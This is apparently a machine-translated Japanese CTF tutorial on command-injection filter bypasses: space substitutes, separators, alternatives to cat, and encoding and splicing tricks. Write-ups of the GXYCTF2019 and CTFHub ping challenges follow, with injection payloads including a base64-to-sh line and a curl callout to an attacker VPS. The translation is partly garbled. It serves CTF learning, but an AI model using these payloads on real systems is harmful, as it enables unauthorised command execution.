コマンド実行の一般的なバイパス
1. スペースに置き換える
システム コマンドを実行すると、cat flag.txt などのスペースが必然的に表示されます。プログラムによってスペースがフィルタリングされる場合は、次の文字を使用してスペースを回避する必要があります。
<
${
IFS}
$IFS$9
%09
テストは次のとおりです。
$IFS
Linuxでセパレータを表現する場合、cat$IFSa.txtしかない場合、bashインタプリタはIFSa全体を変数名とみなすため実行できませんが、{}を付けると変数名が同様に、最後に追加します。$ は切り捨ての役割を果たすことができ、$9 は現在のシステム シェル プロセスの 9 番目のパラメーターの保持者を参照します。これは空の文字列です。したがって、$9 は何も追加しないことと同じです。これは、前後の分離を行うのと同じです。
2.代わりにシンボルを切り詰めます
コマンドが実行されると、通常、システムのプリセット コマンドを実行するためにフロント エンドからデータが取得されます。実行したい他のコマンドを追加するために、通常は切り捨て記号を使用して、システムが他のコマンドを実行できるようにします。 : ping 127.0.0.1|
フーミ
常见的截断符号:
$
;
|
-
(
)
`
||
&&
&
}
{
%0a
3.代わりにcatコマンドを使用する
cat コマンドは表示用です。プログラム内で cat コマンドが無効になっている場合は、代わりに次のコマンドを使用できます。
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
3.1 バックスラッシュのバイパス
ca\t fl\ag.txt
3.2 エンコーディングバイパス
`echo 'Y2F0Cg==' | base64 -d` flag.txt
3.3 スプライシングバイパス
a=c;b=at;c=f;d=lag;e=.txt;$a$b ${
c}${
d}${
e}
cat flag.txt
3.4 一重引用符と二重引用符のバイパス
c'a't test
c"a"t test
3.5 ワイルドカードのバイパス
[…] は角括弧内の任意の文字と一致することを意味します
。{…} は中括弧内のすべてのパターンと一致することを意味し、パターンはカンマで区切られます。
{…} と […] には重要な違いがあります。一致するファイルが存在しない場合、[…] はパターン機能を失い、単純な文字列になりますが、{…} は展開できます。
cat t?st
cat te*
cat t[a-z]st
cat t{
a,b,c,d,e,f}st
実践的な演習
1. [GXYCTF2019]ピンピンピン(https://buuoj.cn)
1.1 切り捨てを使用したテスト
payload:/?ip=127.0.0.1|ls
プログラムが追加した ls コマンドを実行し、それをフロントエンドにエコーしたことがわかります。
1.2 cat コマンドを使用して flag を表示します
。プロンプトによると、ここのスペースはフィルターされる必要があるため、スペース制限をバイパスする方法
1.3 スペース バイパス
. 事前の知識に基づいて、スペース記号を置き換えるテストを行います。ゲップ ブラストによると、バイパス
できることがわかりました。ただし、ここでのプロンプトには次のように新しい変更があります。プロンプトを見ると、これはフラグの問題であるはずです。まず、index.php をチェックしてソース コードを表示します。ソース コードを表示すると、フラグの問題がわかります。通常のマッチングが実行されます。フラグが一致すると、プログラムは走るのをやめてください。$IFS$9
1.4 キーワードのバイパス
事前の知識に基づいて、置換キーワードをテストします;
cat flag.php
cat$IFS$9fl\ag.php
b=ag;a=fl;cat$IFS$9$a$b.php
echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh
cat$IFS$9fla*
バープ ブラストによると、スプライシングとエンコーディングによって 1.5をバイパスできることが判明しました
。ファズ テストに合格した後、すべてのペイロードが次のとおりであることがわかります。
2. Death ping コマンド (https://www.ctfhub.com)
2.1 切り捨て文字を使用したテスト。
テストを通じて、プログラムが切り捨て文字をフィルタリングしていることがわかります。上記の知識に基づいて、利用可能な切り捨て文字をファジングしてみましょう。テストによれば、プログラムは %0a をフィルタリングしません
。 %0a を使用して次のステップに進むことができます
2.2 帯域外判定
上記のテストには問題があります。実行されたコマンドにエコーがないため、挿入されたコマンドが正常に実行されたかどうかを知ることができません。コマンドを使用できます。アウトオブバンドテスト: シンプルな原理:curl コマンドを使用して Web サイトにアクセスし、Web サイトが
リクエストを受信すると、コマンドが正常に実行されます。
- Python を使用して VPS で http サービスを開始します。
命令:python -m http.server 80
2.curl コマンドを使用して、VPS のポート 80 にアクセスします。
Payload:ip=127.0.0.1%0acurl+VPSIP/1.txt
- VPS 上のアクセス状況を確認し、アクセスできていればコマンドの実行は成功です。